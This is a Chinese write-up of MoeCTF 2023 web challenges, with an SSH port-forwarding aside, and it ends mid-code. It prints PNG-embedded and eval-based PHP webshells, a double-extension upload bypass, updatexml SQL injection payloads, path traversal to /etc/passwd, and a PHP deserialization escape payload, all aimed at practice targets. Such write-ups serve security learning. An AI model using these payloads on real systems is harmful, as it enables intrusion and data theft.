MoeCTF 2023 Web+Jail wp

----------签到----------

hello CTFer

给了一个URL,是赛博厨子解码base64的flag,flag直接给了。

image-20230814130258316


远程端口转发:

这次比赛估计好多大师傅都没参加,题目环境是在本机内网上的(比如localhost:52005)导致请教师傅们不太方便。于是就去学习了远程端口转发,尝试通过ssh把我本机端口发到vps上,这里记录一下如何把本机端口转发到vps。

以本机1470端口(我的sqli-labs)与vps的9023端口为例。

image-20230822212918508

SSH基本的连接命令是:

ssh username@hostname

这里牵扯到了两台主机,一是执行命令、运行SSH客户端的主机,我们称为本地主机A【Host A】;二是接收连接请求、运行SSH服务器的主机,我们称为远程主机B【Host B】。通过密码或密钥等方式验证后,SSH连接建立,主机A可以使用命令行对主机B实施远程控制。

以上命令中,username是主机B上已登录的用户名,hostname则是主机B的设备名、域名或IP等可以在网络(局域网或互联网)上定位的名称。


实际操作步骤如下:(以本机1470端口(我的sqli-labs)与vps的9023端口为例。)

主机连接vps:(主机上发)

ssh -R 9023:localhost:1470 root@vps-ip

-R:指定远程端口转发
9023:自定义端口
localhost:1470:主机ip:主机相关服务的端口(sqli-labs的端口)
root:vps用户名
vps-ip:vps的ip地址

要输入vps的密码

image-20230822222413339

确保外网也能访问:(在vps上执行)

GatewayPorts yes确保外网也能访问这个vps的9023这个监听端口,而不是只能被vps的localhost访问。

sudo echo 'GatewayPorts yes' >> /etc/ssh/sshd_config
sudo service ssh restart                 #重启ssh

访问http://vps-ip:9023/,可以访问到我主机上的sqlilabs。

image-20230822222305019

image-20230822222435613

参考文章:

SSH远程端口转发实战详解 - Xi-iX - 博客园 (cnblogs.com)

Linux中ssh配置详解_linux ssh_穆瑾轩的博客-CSDN博客

Linux端口转发的几种常用方法-腾讯云开发者社区-腾讯云 (tencent.com)

彻底搞懂SSH端口转发命令 - 知乎 (zhihu.com)

[Linux端口转发的九种常用方法_戴国进的博客-CSDN博客](https://blog.csdn.net/JineD/article/details/118254041#:~:text=SSH 端口转发 1 (1) 本地端口转发 ssh -fgN -L,%2Fetc%2Fsysctl.conf %23增加一行 net.ipv4.ip_forward%3D1 %2F%2F使数据转发功能生效 sysctl -p (2)将本地的端口转发到本机端口 )

----------Web----------

http

打开环境

image-20230814123706782

然后连接器连接

image-20230814125244367

postman一把梭

image-20230814125706820

Web入门指北

在Web入门指北PDF的最后。

image-20230814134619468

最后利用十六进制+base64解密解出flag。

image-20230814134628555

image-20230814134634532

moectf{w3lCome_To_moeCTF_W2b_challengE!!}

cookie

附件:

一些api说明

注册 POST /register

{
    "username":"koito",
    "password":"123456"
}

登录 POST /login

{
    "username":"koito",
    "password":"123456"
}

获取flag GET /flag

查询服务状态 GET /status

开始做题:

先看看自己的cookie

image-20230814141312195

一,注册

image-20230814141526988

二,登录

image-20230814141606071

三,查询一下状态,啥都OK

image-20230814141709164

四,getflag

提示我们不是admin

image-20230814144036717

我们修改一下cookie,tokencharacter都需要修改。

image-20230814144128443

出flag。

image-20230814144303832

彼岸的flag

**题目描述:**我们在某个平行宇宙中得到了一段moectf群的聊天记录,粗心的出题人在这个聊天平台不小心泄露了自己的flag。

开始做题,不用看聊天记录,flag在源码里面。

image-20230814150026067

gas!gas!gas!

估计是写脚本的题

image-20230814150358960

先开一个看看

image-20230814164359490

那么游戏要求是:

1、有选手名字,那就要开启session保存选手名字

2、油门,提示抓地大就全开油门、保持速度就保持油门、抓地小就松开油门

3、弯道,直行就直行、向右就左、向左就右

4、0.5s人类完成不了,必须脚本。

抓个包看看

image-20230814164808590

方向:

左:-1
直行:0
右:1

油门:

松开:0
保持:1
全开:2

开始写python脚本:

import requests
import time

url = 'http://localhost:59548/'
res = requests.session()      #创建session对象,用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求,但是没有cookie,那就无法记录答题数量。

response = res.post(url, data={"driver":"Jay17","steering_control":0,"throttle":0})   #发post包,获取题目
#time.sleep(1)  # 睡一秒

for i in range(1, 99):
    math = ""

    resTest = response.text            #获取返回包的内容
    if "太大" in resTest:
        ym=2
    elif "太小" in resTest:
        ym =0
    else:
        ym = 1

    if "向左" in resTest:
        fx=1
    elif "向右" in resTest:
        fx =-1
    else:
        fx =0

    myData = {   #构造的POST数据
        "driver":"Jay17",
        "steering_control":fx,
        "throttle":ym
    }

    response = res.post(url, data=myData) #发post包,提交答案,并且获取返回包,获取下一个计算式
    print(response.text)          #打印当前返回包的内容
    #time.sleep(1)  # 睡一秒

    if "moectf{" in response.text:       #如果返回包里面有flag
        print("Flaggggggggg!!!: ", response.text)
        exit() # 退出当前程序,也可以break

image-20230814170153069

moe图床

题目描述: 我们准备了一个moe图床用于上传一些图片。

开题前盲猜文件上传。

果然,熟悉的上传框。

image-20230817213809885

随便上传一个,提示只能上传png图片。

image-20230817213848909

随手传一个,访问404???仔细一看是路径出了问题,去掉/var/www/html就好啦。

image-20230817214337961

image-20230817214402929

Ctrl+U查看源码。发现前端只检查了png格式的文件,不检查内容。

思路有三,直接png图片马、png二次渲染、上传png后缀抓包改php后缀。

先试试png二次渲染。

生成针对二次渲染png的PHP脚本:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'x.png');  //要修改的图片的路径
/* 写入的木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>

然后上传,尝试反弹shell。但是平台、nc、bash都弹不了shell。

image-20230817215752599

命令也是执行不了的。

image-20230817221913253

然后上传图片马试试,图片马名字是shellpng.png,内容如下

GIF89a
<?php
eval ($_POST[jay17]);
?>

执行命令尝试无果。

image-20230817221931679

最后试试上传png后缀抓包改php后缀。但是也上传失败了,后缀不符合要求。

image-20230821125858356

后来发现了题目后缀名过滤不严格。

文件名:1.png.php

原理暂且认为是:上传时候认为是png,访问解析时认为是php。

image-20230821131302729

大海捞针

开题,要求我GET提交id(范围在1~1000),应该flag在其中某个id里面。

image-20230814150642088

burp爆破一下

首先,localhost是默认不抓包的,ipconfig查看一下自己的外网ip 192.168.86.99,替换掉localhost。但是题目貌似只用内网,外网ip用不了。解决方法如下:

BurpSuite抓不到本地包解决大汇总_burpsuite抓不了包_S1xTwe1ve的博客-CSDN博客

再补充一个方法,我们用burp自带浏览器,localhost和127.0.0.1都可以抓。

image-20230814154029044

成功抓到包了。

image-20230814154150025

发到测试器,用数值爆破,范围1~1000,步长1。

image-20230814151147472

爆出来是199,大海捞针成功。

image-20230814154551165

了解你的座驾

题目描述:为了极致地漂移,我们准备了一个网站用于查找你喜欢的车车;听说flag也放在里面了,不过不在网站目录放在根目录应该没问题的吧。。。

开题,车确实很帅。

image-20230821131603889

最后一行提示flag在根目录下,考虑进行命令执行。

image-20230821132109774

在源码中发现了源码:

// 定义一个名为 submitForm 的函数,接受一个参数 name
function submitForm(name) {
    // 创建一个 <form> 元素
    var form = document.createElement("form");
    // 设置表单的提交方法为 POST
    form.method = "post";
    // 设置表单的提交目标为 "index.php"
    form.action = "index.php";

    // 创建一个 <input> 元素
    var input = document.createElement("input");
    // 设置 <input> 元素的类型为隐藏字段
    input.type = "hidden";
    // 设置 <input> 元素的名称为 "xml_content"
    input.name = "xml_content";
    // 设置 <input> 元素的值为包含传入的 name 参数的 XML 内容
    input.value = "<xml><name>" + name + "</name></xml>";

    // 将 <input> 元素添加到 <form> 元素中
    form.appendChild(input);
    // 将 <form> 元素添加到文档的 body 中
    document.body.appendChild(form);
    // 提交表单,触发表单提交到 "index.php"
    form.submit();
}

抓个包看看。看见了XML,感觉是XXE漏洞。

image-20230821131735151

取消URL编码也没事,能正常解析。(这是一个多么愚蠢的想法)

image-20230821131902832

拿有回显XXE的payload直接打了,但是一直报错。但是从报错中看出,后端处理函数是simplexml_load_string,一个XXE的标志性函数(PHP语言函数)。但是就一直打不出来。

image-20230821214913316

原来是payload需要URL编码。。。。。。。。。

image-20230821215159503

meo图床

题目描述:我们准备了一个meo(?)图床用于上传一些图片

这题其实不是文件上传,是路径穿越。

开题随便上传一个文件,点击查看。

注意到查看功能访问文件的方式,是通过文件名访问。猜测访问目录是设定好的,name参数决定了访问设定好的访问目录下的哪个文件(以文件名形式检索)。

image-20230821215518515

尝试利用../来进行路径穿越,先试试读取/etc/passwd

读取成功,猜测正确。

image-20230821215843334

那就直接读取flag。但是根目录下flag返回了另外一个路由(文件)Fl3g_n0t_Here_dont_peek!!!!!.php,应该是还有一层吧。

image-20230821215908746

访问路由(文件)。数组绕过md5就行。

image-20230821220029787

payload:

GET:
?param1[]=1&param2[]=7

image-20230821220411140

夺命十三枪

开题直接给了源码。

image-20230821220938450

index.php

<?php
highlight_file(__FILE__);

require_once('Hanxin.exe.php');

$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';

$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);

$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';

try{
    echo unserialize($after);
}catch (Exception $e) {
    echo "Even Caused A Glitch...";
}
?>

Hanxin.exe.php

<?php

if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
    highlight_file(__FILE__);
}

class Deadly_Thirteen_Spears{
    private static $Top_Secret_Long_Spear_Techniques_Manual = array(
        "di_yi_qiang" => "Lovesickness",
        "di_er_qiang" => "Heartbreak",
        "di_san_qiang" => "Blind_Dragon",
        "di_si_qiang" => "Romantic_charm",
        "di_wu_qiang" => "Peerless",
        "di_liu_qiang" => "White_Dragon",
        "di_qi_qiang" => "Penetrating_Gaze",
        "di_ba_qiang" => "Kunpeng",
        "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
        "di_shi_qiang" => "Overlord",
        "di_shi_yi_qiang" => "Letting_Go",
        "di_shi_er_qiang" => "Decisive_Victory",
        "di_shi_san_qiang" => "Unrepentant_Lethality"
    );

    public static function Make_a_Move($move){
        foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
            $move = str_replace($index, $movement, $move);
        }
        return $move;
    }
}

class Omg_It_Is_So_Cool_Bring_Me_My_Flag{

    public $Chant = '';
    public $Spear_Owner = 'Nobody';

    function __construct($chant){
        $this->Chant = $chant;
        $this->Spear_Owner = 'Nobody';
    }

    function __toString(){
        if($this->Spear_Owner !== 'MaoLei'){
            return 'Far away from COOL...';
        }
        else{
            return "Omg You're So COOOOOL!!! " . getenv('FLAG');
        }
    }
}

?>

简单一看,我们需要修改Omg_It_Is_So_Cool_Bring_Me_My_Flag->Spear_Owner属性为MaoLei,使得Omg_It_Is_So_Cool_Bring_Me_My_Flag::__toString()魔术方法输出flag。

但是Omg_It_Is_So_Cool_Bring_Me_My_Flag->Spear_Owner属性我们无法直接修改,同时Hanxin.exe.php中的Deadly_Thirteen_Spears::Make_a_Move方法又满足字符串替换的条件。

综上所述,这题应该是PHP反序列化字符串逃逸。


不细分析源码了,直接开逃,分析一下怎么逃逸。

字符替换,往多的或者往少的替换都有,使得我们操作空间大了不少。


直接分析序列化字符串花括号里面的那段。

s:5:“Chant”;s:15:“夺命十三枪”;s:11:“Spear_Owner”;s:6:“Nobody”;

修改成

s:5:“Chant”;s:35:“";s:11:"Spear_Owner";s:6:"MaoLei";}”;s:11:“Spear_Owner”;s:6:“Nobody”;

我们就实现了修改不可控属性Spear_Owner的功能。

但是我们可以明显看出,这一段s:35:""长度与序列化字符串中标明的35不符合(缺35字符)

s:5:“Chant”;s:35:"";s:11:“Spear_Owner”;s:6:“MaoLei”;} ";s:11:“Spear_Owner”;s:6:“Nobody”;

所以我们需要通过字符替换多整出35个字符,也就是如果替换一次后字符多一个,那么我们要替换35次。

s:5:“Chant”;s:420:“di_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}”;s:11:“Spear_Owner”;s:6:“Nobody”;

经过替换后变成(标记处总长度455,之前是420)

s:5:“Chant”;s:420:“LovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesickness";s:11:"Spear_Owner";s:6:"MaoLei";}”;s:11:“Spear_Owner”;s:6:“Nobody”;

可以看作是:(标记处长度是420,刚刚好)

s:5:“Chant”;s:420:“LovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesicknessLovesickness”;s:11:“Spear_Owner”;s:6:“MaoLei”;}";s:11:“Spear_Owner”;s:6:“Nobody”;


payload:

?chant=di_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

image-20230821223402861

出去旅游的心海

开题。

image-20230912172817162

注意到新功能,和数据库有关,考虑SQL注入。查看源码,发现一个疑似用于处理数据库信息,执行写入信息到数据库的.php文件。

image-20230912172903270

访问,一眼就是我们方向对了,开始做题。

image-20230912173029974

不进行闭合的话,无论time输入什么都报错,返回我们输入的值。

image-20230912205541254

既然开启了报错,就联想到报错注入。我们的思路是提交time参数为报错注入语句,程序会返回给我们time的值即报错语句的值,就是我们想要的内容。

POST:ip=1&user_agent=1&time=updatexml(1,substring(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),25,50),3)

得到当前数据库是wordpress

image-20230912210326342

POST:ip=1&user_agent=1&time=updatexml(1,substring(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='wordpress' ),0x7e),1,20),3)

得到可疑的表是secret_of_kokomi

image-20230912210609758

POST:ip=1&user_agent=1&time=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wordpress' and table_name='secret_of_kokomi'),0x7e),3)

得到可疑的列是content

image-20230912210706225

POST:ip=1&user_agent=1&time=updatexml(1,substring(concat(0x7e,(select group_concat(content) from wordpress.secret_of_kokomi),0x7e),40,60),3)

后半段:
POST:ip=1&user_agent=1&time=updatexml(1,reverse(concat(0x7e,(select group_concat(content) from wordpress.secret_of_kokomi),0x7e)),3)

当然也可以用rlike

ip=1&user_agent=1&time=1 RLIKE extractvalue(1,concat(0x7e,mid((select group_concat(content) from wordpress.secret_of_kokomi),1),0x7e))

得到flag。``

image-20230912210929312

signin

直接给了源码

from secrets import users, salt
import hashlib
import base64
import json
import http.server

with open("flag.txt","r") as f:
    FLAG = f.read().strip()

def gethash(*items):
    c = 0
    for item in items:
        if item is None:
            continue
        c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
    return hex(c)[2:]

assert "admin" in users
assert users["admin"] == "admin"

hashed_users = dict((k,gethash(k,v)) for k,v in users.items())

eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?
    
def decrypt(data:str):
        for x in range(5):
            data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
        return data

__page__ = base64.b64encode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT5zaWduaW48L3RpdGxlPgogICAgPHNjcmlwdD4KICAgICAgICBbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoK3t9K1tdKVsrISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXVtbXV0rW10pWytbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoW10rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKVshK1tdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKShbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXSshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyhbXStbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKCFbXStbXSlbIStbXSshIVtdXSsoW10re30pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSkpWyErW10rISFbXSshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0pKCErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKChbXSt7fSlbK1tdXSlbK1tdXSsoIStbXSshIVtdKyEhW10rW10pKyhbXVtbXV0rW10pWyErW10rISFbXV0pKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXSt7fSlbKyEhW11dKygre30rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSkKICAgICAgICB2YXIgXzB4ZGI1ND1bJ3N0cmluZ2lmeScsJ2xvZycsJ3Bhc3N3b3JkJywnL2xvZ2luJywnUE9TVCcsJ2dldEVsZW1lbnRCeUlkJywndGhlbiddO3ZhciBfMHg0ZTVhPWZ1bmN0aW9uKF8weGRiNTRmYSxfMHg0ZTVhOTQpe18weGRiNTRmYT1fMHhkYjU0ZmEtMHgwO3ZhciBfMHg0ZDhhNDQ9XzB4ZGI1NFtfMHhkYjU0ZmFdO3JldHVybiBfMHg0ZDhhNDQ7fTt3aW5kb3dbJ2FwaV9iYXNlJ109Jyc7ZnVuY3Rpb24gbG9naW4oKXtjb25zb2xlW18weDRlNWEoJzB4MScpXSgnbG9naW4nKTt2YXIgXzB4NWYyYmViPWRvY3VtZW50W18weDRlNWEoJzB4NScpXSgndXNlcm5hbWUnKVsndmFsdWUnXTt2YXIgXzB4NGZkMjI2PWRvY3VtZW50W18weDRlNWEoJzB4NScpXShfMHg0ZTVhKCcweDInKSlbJ3ZhbHVlJ107dmFyIF8weDFjNjFkOT1KU09OW18weDRlNWEoJzB4MCcpXSh7J3VzZXJuYW1lJzpfMHg1ZjJiZWIsJ3Bhc3N3b3JkJzpfMHg0ZmQyMjZ9KTt2YXIgXzB4MTBiOThlPXsncGFyYW1zJzphdG9iKGF0b2IoYXRvYihhdG9iKGF0b2IoXzB4MWM2MWQ5KSkpKSl9O2ZldGNoKHdpbmRvd1snYXBpX2Jhc2UnXStfMHg0ZTVhKCcweDMnKSx7J21ldGhvZCc6XzB4NGU1YSgnMHg0JyksJ2JvZHknOkpTT05bXzB4NGU1YSgnMHgwJyldKF8weDEwYjk4ZSl9KVtfMHg0ZTVhKCcweDYnKV0oZnVuY3Rpb24oXzB4Mjk5ZDRkKXtjb25zb2xlW18weDRlNWEoJzB4MScpXShfMHgyOTlkNGQpO30pO30KICAgIDwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPmV6U2lnbmluPC9oMT4KICAgIDxwPlNpZ24gaW4gdG8geW91ciBhY2NvdW50PC9wPgogICAgPHA+ZGVmYXVsdCB1c2VybmFtZSBhbmQgcGFzc3dvcmQgaXMgYWRtaW4gYWRtaW48L3A+CiAgICA8cD5Hb29kIEx1Y2shPC9wPgoKICAgIDxwPgogICAgICAgIHVzZXJuYW1lIDxpbnB1dCBpZD0idXNlcm5hbWUiPgogICAgPC9wPgogICAgPHA+CiAgICAgICAgcGFzc3dvcmQgPGlucHV0IGlkPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPgogICAgPC9wPgogICAgPGJ1dHRvbiBpZCA9ICJsb2dpbiI+CiAgICAgICAgTG9naW4KICAgIDwvYnV0dG9uPgo8L2JvZHk+CjxzY3JpcHQ+CiAgICBjb25zb2xlLmxvZygiaGVsbG8/IikKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2dpbiIpLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgbG9naW4pOwo8L3NjcmlwdD4KPC9odG1sPg==")
        
class MyHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        try:
            if self.path == "/":
                self.send_response(200)
                self.end_headers()
                self.wfile.write(__page__)
            else:
                self.send_response(404)
                self.end_headers()
                self.wfile.write(b"404 Not Found")
        except Exception as e:
            print(e)
            self.send_response(500)
            self.end_headers()
            self.wfile.write(b"500 Internal Server Error")

    def do_POST(self):
        try:
            if self.path == "/login":
                body = self.rfile.read(int(self.headers.get("Content-Length")))
                payload = json.loads(body)
                params = json.loads(decrypt(payload["params"]))
                print(params)
                if params.get("username") == "admin":
                    self.send_response(403)
                    self.end_headers()
                    self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
                    print("admin")
                    return
                if params.get("username") == params.get("password"):
                    self.send_response(403)
                    self.end_headers()
                    self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
                    print("same")
                    return
                hashed = gethash(params.get("username"),params.get("password"))
                for k,v in hashed_users.items():
                    if hashed == v:
                        data = {
                            "user":k,
                            "hash":hashed,
                            "flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
                        }
                        self.send_response(200)
                        self.end_headers()
                        self.wfile.write(json.dumps(data).encode())
                        print("success")
                        return
                self.send_response(403)
